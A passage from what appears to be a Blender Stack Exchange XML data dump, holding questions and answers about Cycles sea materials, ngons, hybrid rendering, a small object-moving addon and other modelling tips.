Sphere&lt;/em&gt; with factor of &lt;code&gt;1.0&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9vmZs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Extrude it four times and scale inwards each time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x5r9O.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Give it a subsurf modifier and enjoy the result.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DKICE.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-10-08T23:28:24.040" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3223" PostTypeId="1" AcceptedAnswerId="3229" CreationDate="2013-10-07T14:22:17.237" Score="38" ViewCount="19527" Body="&lt;p&gt;I'm trying to render a sea scene animation, but using the ocean modifier and huge subdivisions isn't feasible due to the large scale. Luckily it's a calm sea and seen from quite a distance, but there still should be some kind of animated movement or shimmer you can see on a real water surface. Is it possible to do something like this in cycles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The render shows what I currently have which is just a translucent plane with a seafloor material beneath and a slightly rough reflection of the cloud environment map.&lt;img src=&quot;https://i.stack.imgur.com/XPYeh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2020-10-27T03:49:34.247" Title="How can I create a convincing sea material in Cycles without using the ocean modifier?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="25" ContentLicense="CC BY-SA 3.0" />
  <row Id="3224" PostTypeId="2" ParentId="3212" CreationDate="2013-10-07T14:34:22.863" Score="13" Body="&lt;p&gt;Ok, I think I have something that will get you pretty much that same result. First create an icosphere and set the subdivide to 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N1KUe.png&quot; alt=&quot;Settings for icosphere&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then find a five sided pole and select it. Then hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; and select from the dropdown, &quot;Amount of Adjacent Faces&quot;. You should have several isolated vertices selected throughout the mesh. The hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;numpad+&lt;/kbd&gt; 4 times to expand your selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h9y6W.png&quot; alt=&quot;vertices to delete&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete the selected vertices. You will notice several six sided shapes left. Select the interior vertices like this,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6X9kr.png&quot; alt=&quot;Six sided selection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and delete them until you have a mesh that looks like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Np42E.png&quot; alt=&quot;Final Mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this, just add a skin modifier and a subsurf modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nqRhh.png&quot; alt=&quot;Modifiers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should have something that by now, looks a bit like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ASJfv.png&quot; alt=&quot;Final Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the &quot;Tubes&quot; are a bit large, you have to select all vertices in the mesh and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and &quot;scale&quot; the vertices to your liking. After you are happy with the result, just apply the skin modifier. I hope this works how you want it to.&lt;/p&gt;&#xA;" OwnerUserId="469" LastActivityDate="2013-10-07T14:34:22.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3225" PostTypeId="2" ParentId="3223" CreationDate="2013-10-07T16:07:42.383" Score="3" Body="&lt;p&gt;You could do that by adding a procedural texture, and plug the output into the displace for the material (in the node editor view). You might try a noise texture (in Cycles it looks like a Cloud texture in BI), add a Mapping node, and for the x coordinate set the scale to 2 maybe, and set z rotation to the prefered. Try it, tweak it. There are more sophisticated texture for oceans, maybe a tilabe image could be used, but for this scene it might be ok, or as a strating point.&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2013-10-07T21:01:33.693" LastActivityDate="2013-10-07T21:01:33.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3226" PostTypeId="1" AcceptedAnswerId="3227" CreationDate="2013-10-07T17:29:27.927" Score="10" ViewCount="2817" Body="&lt;p&gt;Is there a way to convert a text object directly into an Ngon?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very often when using text it's necessary to convert it to a mesh for further manipulation. However, the resulting mesh is full of triangles and generally a mess.  It would be ideal to simply have a resulting Ngon since it is a flat plane anyway.&lt;/p&gt;&#xA;" OwnerUserId="675" LastEditorUserId="12" LastEditDate="2013-10-07T22:12:53.473" LastActivityDate="2019-12-16T21:16:50.353" Title="How to convert a text object directly to an ngon?" Tags="&lt;conversion&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3227" PostTypeId="2" ParentId="3226" CreationDate="2013-10-07T17:57:18.737" Score="14" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;. But there is another way to achieve it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the mesh and hit Spacebar to invoke the function search menu. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Search for &lt;em&gt;limited dissolve&lt;/em&gt; and initiate it. You can change the parameters by hitting &lt;kbd&gt;F6&lt;/kbd&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JkTYs.png&quot; alt=&quot;Cleaner fonts&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;After you do a limited dissolve there may still be some manual cleaning up to do.&lt;/li&gt;&#xA;&lt;li&gt;Limited dissolve is also in the &lt;em&gt;Delete menu&lt;/em&gt; accessible with &lt;kbd&gt;X&lt;/kbd&gt; and &lt;kbd&gt;Delete&lt;/kbd&gt; &lt;/li&gt;&#xA;&lt;li&gt;Limited dissolve is the same as the &lt;em&gt;Planar&lt;/em&gt; setting in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Decimate&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Decimate&lt;/em&gt; modifier&lt;/a&gt;, so this can be done non-destructively&lt;/li&gt;&#xA;&lt;li&gt;Blender does not support N-gons with holes in them. you will have to have a split along it somewhere.&lt;/li&gt;&#xA;&lt;li&gt;If the n-gon is not co-planar you may see artifacts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user320" LastEditorUserId="2214" LastEditDate="2019-12-16T21:16:50.353" LastActivityDate="2019-12-16T21:16:50.353" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="3229" PostTypeId="2" ParentId="3223" CreationDate="2013-10-07T19:37:34.263" Score="41" Body="&lt;p&gt;Expanding on &lt;a href=&quot;https://blender.stackexchange.com/a/3225/599&quot;&gt;Róbert László Páli's answer&lt;/a&gt;, this is possible with a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/textures/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Procedural texture&lt;/em&gt;&lt;/a&gt; and bump mapping.&lt;/p&gt;&#xA;&lt;h1&gt;Texture&lt;/h1&gt;&#xA;&lt;p&gt;For an ocean texture, the procedural textures most likely to be what you want are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/textures/noise.html#noise-texture-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;Noise&lt;/a&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HXlHp.png&quot; alt=&quot;Noise example&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/textures/wave.html#wave-texture-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wave&lt;/a&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wokWp.png&quot; alt=&quot;Wave example&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/textures/voronoi.html#voronoi-texture-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;Voronoi&lt;/a&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/57ahI.png&quot; alt=&quot;Voronoi example&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/textures/musgrave.html#musgrave-texture-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;Musgrave&lt;/a&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HZ7m2.png&quot; alt=&quot;Musgrave example&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You can also combine and mix these with an &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/color/mix.html#mix-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;RGB mix&lt;/em&gt;&lt;/a&gt; node.&lt;/p&gt;&#xA;&lt;h1&gt;Displacement&lt;/h1&gt;&#xA;&lt;p&gt;Here are some examples of bump mapping with a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/textures/noise.html#noise-texture-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Noise texture&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;You can affect only certain shaders by using the &lt;em&gt;Bump&lt;/em&gt; node. One advantage to the bump node is you can easily adjust the strength of the displacement:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LUh5w.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LUh5w.png&quot; alt=&quot;bump node example&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or you can affect the entire material by plugging the texture output directly into the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/vector/displacement.html#displacement-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Displacement&lt;/em&gt;&lt;/a&gt; input of the &lt;em&gt;Material Output&lt;/em&gt; node:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ui7pL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ui7pL.png&quot; alt=&quot;displacement setup&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To control the strength with this method, plug the noise texture into an &lt;em&gt;MixRGB&lt;/em&gt; node and set it to multiply. The other input becomes the &amp;quot;Strength factor&amp;quot;, where white is full displacement (you can set it to a value greater than white to get a larger displacement), and black is no displacement. (likewise, negative values produce an inverted displacement)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YJQmf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YJQmf.png&quot; alt=&quot;Using a MixRGB node&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Animating&lt;/h1&gt;&#xA;&lt;p&gt;This effect can be animated over time by animating the location of the &lt;em&gt;Texture space&lt;/em&gt;. The settings for the &lt;em&gt;Texture space&lt;/em&gt; are located in &lt;em&gt;Properties &amp;gt; Object data panel &amp;gt; Texture space&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yQntI.png&quot; alt=&quot;texture space settings&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can interactivle move the &lt;em&gt;Texture space&lt;/em&gt; in the 3D view with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Note that you most likely want to animate along the Z, otherwise it will look like it's a static surface sliding horizontally.&lt;/p&gt;&#xA;&lt;p&gt;You may also want to set the interpolation type to &lt;em&gt;Linear&lt;/em&gt; in the &lt;em&gt;Graph editor&lt;/em&gt; by pressing &lt;kbd&gt;T&lt;/kbd&gt;&lt;em&gt;&amp;gt; Linear&lt;/em&gt; to make the &lt;em&gt;texture space&lt;/em&gt; move at a constant speed without accelerating and decelerating (the default behavior):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KyePS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y7Pe7.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-27T03:49:34.247" LastActivityDate="2020-10-27T03:49:34.247" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="3230" PostTypeId="5" CreationDate="2013-10-07T20:33:58.793" Score="0" Body="" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-07T20:33:58.793" LastActivityDate="2013-10-07T20:33:58.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3231" PostTypeId="4" CreationDate="2013-10-07T20:33:58.793" Score="0" Body="Questions related to using and combining different render passes. Render passes are used to store render data such as depth information and motion vectors. Passes can also be used for tasks such as masking." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-07T20:33:58.793" LastActivityDate="2013-10-07T20:33:58.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3232" PostTypeId="1" AcceptedAnswerId="3233" CreationDate="2013-10-07T23:28:19.387" Score="24" ViewCount="14348" Body="&lt;p&gt;The Cycles render engine can render both on the &lt;strong&gt;CPU&lt;/strong&gt; and the &lt;strong&gt;GPU&lt;/strong&gt;. I often render over-night so I do not need my computer to be responsive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to render with Cycles using both the &lt;strong&gt;CPU&lt;/strong&gt; and &lt;strong&gt;GPU&lt;/strong&gt;? If not, are there any other workarounds that maximize the hardware's potential?&#xA;&lt;br&gt; &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This question here: &lt;a href=&quot;https://blender.stackexchange.com/questions/68232/can-i-use-both-gpu-and-cpu-together-when-i-render-with-cycles-to-decrease-render&quot;&gt;Can I use both GPU and CPU together when I render with Cycles to decrease render time?&lt;/a&gt; focused on single frames optimisation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user320" LastEditorUserId="-1" LastEditorDisplayName="user320" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2017-12-02T20:31:27.120" Title="Cycles hybrid rendering" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;performance&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3233" PostTypeId="2" ParentId="3232" CreationDate="2013-10-07T23:46:21.160" Score="21" Body="&lt;p&gt;If you render an animation, you might achieve what you want by having two instances of Blender running. One renders with CPU, the other with GPU. Both use the same file and the same folder to render the image sequence. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can tell blender in the &lt;em&gt;Output&lt;/em&gt; panel to create placeholders and to not overwrite existing files. &lt;em&gt;Placeholder&lt;/em&gt; creates an empty file when the rendering of a frame starts and disabling &lt;em&gt;Overwrite&lt;/em&gt; tells Blender to leave this particular frame in peace if it already exists. This is the simplest approach to creating a render farm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must admit that my best graphics card is too old to test this approach myself. If it works, you might also want to check temperatures and render for a few hours before you leave the equipment unattended. Everything at your own risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to render a single image, you can set a different seed in the &lt;em&gt;Sampling&lt;/em&gt; panel and render for example 2000 samples with the CPU and 4000 with the GPU and overlay both images in the compositor.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-10-08T00:07:16.263" LastActivityDate="2013-10-08T00:07:16.263" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3234" PostTypeId="2" ParentId="3214" CreationDate="2013-10-08T03:30:54.590" Score="5" Body="&lt;p&gt;Here's a convenience addon that moves all selected objects (=their origins) to the active object's origin (adds a button to the T-panel, &quot;Move to Origin&quot;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bl_info = {&#xA;    &quot;name&quot;: &quot;Move to Origin&quot;,&#xA;    &quot;author&quot;: &quot;CoDEmanX&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 65, 0),&#xA;    &quot;location&quot;: &quot;View3D &amp;gt; Object Mode &amp;gt; Tool Shelf&quot;,&#xA;    &quot;description&quot;: &quot;Move selected objects to active object's origin&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;tracker_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;Object&quot;}&#xA;&#xA;def main(context):&#xA;    ob_act = context.object&#xA;    loc = ob_act.matrix_world.to_translation()&#xA;&#xA;    for ob in context.selected_editable_objects:&#xA;        if ob != ob_act:&#xA;            ob.location = loc&#xA;&#xA;&#xA;class OBJECT_OT_move_to_origin(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Move selected objects to active object's origin&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.move_to_origin&quot;&#xA;    bl_label = &quot;Move to Origin&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.object is not None&#xA;&#xA;    def execute(self, context):&#xA;        main(context)&#xA;        return {'FINISHED'}&#xA;&#xA;draw_func = lambda self, context: \&#xA;    self.layout.operator(OBJECT_OT_move_to_origin.bl_idname)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(OBJECT_OT_move_to_origin)&#xA;    bpy.types.VIEW3D_PT_tools_objectmode.append(draw_func)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(OBJECT_OT_move_to_origin)&#xA;    bpy.types.VIEW3D_PT_tools_objectmode.remove(draw_func)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2017-07-26T21:17:48.540" LastActivityDate="2017-07-26T21:17:48.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3235" PostTypeId="2" ParentId="89" CreationDate="2013-10-08T05:52:19.563" Score="13" Body="&lt;p&gt;Ngons can cause trouble with the subsurf modifier. Let's look at two examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ngons with a subsurf result in what I would call megapoles (poles are verts with 3, 5 or more edges connected to them in a surface). They have one vertex in the center and the border is usually star shaped like the object to the left. That results in an uneven transition. The triangle fan has no such problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dPlHA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's even worse with this U-shaped form (left mesh). Again the Ngon is transformed into a quad fan. Here the subsurf causes the geometry to overlap. The right mesh (consisting of 5 quads as the main surface) is fine. Notice that the faceloops around the border have a much more even and controlled appearance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Eufc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-10-08T14:31:38.893" LastActivityDate="2013-10-08T14:31:38.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3236" PostTypeId="1" CreationDate="2013-10-08T06:42:52.747" Score="7" ViewCount="2019" Body="&lt;p&gt;I created a basic male figure and rigged it using the rigify add on. I also created a simple walk animation action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attempted to turn the rigged model into a game character inside the blender game engine by following the &lt;strong&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=DBdpIDGXEPU&amp;amp;list=FLqqJGIXHGIVvHiHyjHmcRTg&amp;amp;index=3&quot; rel=&quot;nofollow&quot;&gt;Blender Game Engine: Simple Character&lt;/a&gt;&lt;/strong&gt; tutorial by blender cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am having problems when setting up the game logic:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sensor: Keyboard Up Arrow -&amp;gt; Controller: And -&amp;gt; Action: Loop End “Walk” &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run the game the model defaults to its standing pose (unrigged pose?) and nothing happens when I press &lt;kbd&gt;&amp;uarr;&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As in the tutorial I tried to set the &lt;strong&gt;Relation Parent&lt;/strong&gt; of the Model to the Rig with the parent type &lt;strong&gt;Armature&lt;/strong&gt; and removed the armature modifier. This seemed to have no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas as to why the action is not running in the game engine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blender 2.68a&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: As requested, you will find a link to a zip with 2 blend files &lt;a href=&quot;https://docs.google.com/file/d/0B9bo7iayojJyNUFNVXVuQ3RRd00/edit?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. One is before game logic was applied and the other is with the game logic applied. &lt;/p&gt;&#xA;" OwnerUserId="1412" LastEditorUserId="5426" LastEditDate="2015-01-12T00:53:02.650" LastActivityDate="2015-06-16T19:00:29.790" Title="Blender game character not responding to game logic" Tags="&lt;game-engine&gt;&lt;rigify&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3237" PostTypeId="1" AcceptedAnswerId="3238" CreationDate="2013-10-08T09:51:54.923" Score="8" ViewCount="3133" Body="&lt;p&gt;I would like to generate several renders of a static scene, each render being a different size (eg &lt;code&gt;1024x1024&lt;/code&gt;, &lt;code&gt;512x512&lt;/code&gt; etc). Other than the size, each render will be identical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of doing this using, say, the command line, or a script? I am currently doing this by manually changing the dimensions within the render panel every time, but I was wondering if there's a quicker way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blender Internal in this specific instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="12" LastEditDate="2013-10-08T12:19:00.103" LastActivityDate="2020-08-17T20:05:14.340" Title="Generate multiple renders of same scene, each at a different resolution?" Tags="&lt;rendering&gt;&lt;scene&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3238" PostTypeId="2" ParentId="3237" CreationDate="2013-10-08T11:55:42.250" Score="8" Body="&lt;p&gt;Yes, there is a way to do this from one blender file. You have to create new &lt;em&gt;Scenes&lt;/em&gt;, using the &lt;em&gt;Link Objects&lt;/em&gt; method (available from the &lt;em&gt;Info&lt;/em&gt; header) then you can change the render settings just like you normally would. (Also see &lt;a href=&quot;https://blender.stackexchange.com/questions/1175/can-i-set-render-settings-by-individual-scenes&quot;&gt;Can I set render settings by individual scenes?&lt;/a&gt; for more info about scene copying options.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Mq6N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mfM2f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XBUum.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;As previously mentioned by &lt;a href=&quot;https://blender.stackexchange.com/a/3241/599&quot;&gt;tobkum&lt;/a&gt;, in your case where the resolutions sizes are multiples of one another you might be better off just rendering out the largest one and then re-sizing the smaller ones.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As previously mentioned by &lt;a href=&quot;https://blender.stackexchange.com/questions/3237/generate-multiple-renders-of-same-scene-each-at-a-different-resolution#comment5487_3241https://blender.stackexchange.com/questions/3237/generate-multiple-renders-of-same-scene-each-at-a-different-resolution#comment5487_3241&quot;&gt;gandalf3&lt;/a&gt;, you can also make sure you have a large enough render to encompass all the different sizes/aspect ratios, then crop/scale in the compositor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After doing this, you can automate rendering these by &lt;a href=&quot;https://blender.stackexchange.com/q/313/12&quot;&gt;batch rendering multiple scenes from the command line&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-10-09T00:21:10.203" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3239" PostTypeId="2" ParentId="3214" CreationDate="2013-10-08T12:16:29.613" Score="10" Body="&lt;p&gt;Fweeb has already mentioned the traditional and time honored approach. I'd just like to add that the shortcut can be &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;,&lt;kbd&gt;5&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;,&lt;kbd&gt;2&lt;/kbd&gt; since blender menu entries are accessible by numbers. The underscored letters in the menu work as well.&lt;/p&gt;&#xA;&lt;h1&gt;The context menu approach:&lt;/h1&gt;&#xA;&lt;p&gt;There is another method. Select all the objects you want to move. Then &lt;kbd&gt;Shift&lt;/kbd&gt; select the object that has the right position. Hover over the &lt;em&gt;Location&lt;/em&gt; numbuttons in the &lt;em&gt;Transform&lt;/em&gt; panel, and click RMB. In the context menu, you will find &lt;em&gt;Copy to Selected&lt;/em&gt; (Shortcut &lt;kbd&gt;Y&lt;/kbd&gt; when the menu is open)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5TF2h.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;The vintage addon method:&lt;/h1&gt;&#xA;&lt;p&gt;There is yet another method. The &lt;em&gt;Copy Attributes&lt;/em&gt; addon (disabled by default). Shortcut &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; (although that might change since the shortcut is now used differently). The addon simulates vintage Blender behavior. It's the same theme of copying attributes from active to selected. First select the objects you want to move, then the object in the right position to make it the active object and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; and choose from the menu.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-02-14T16:52:35.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
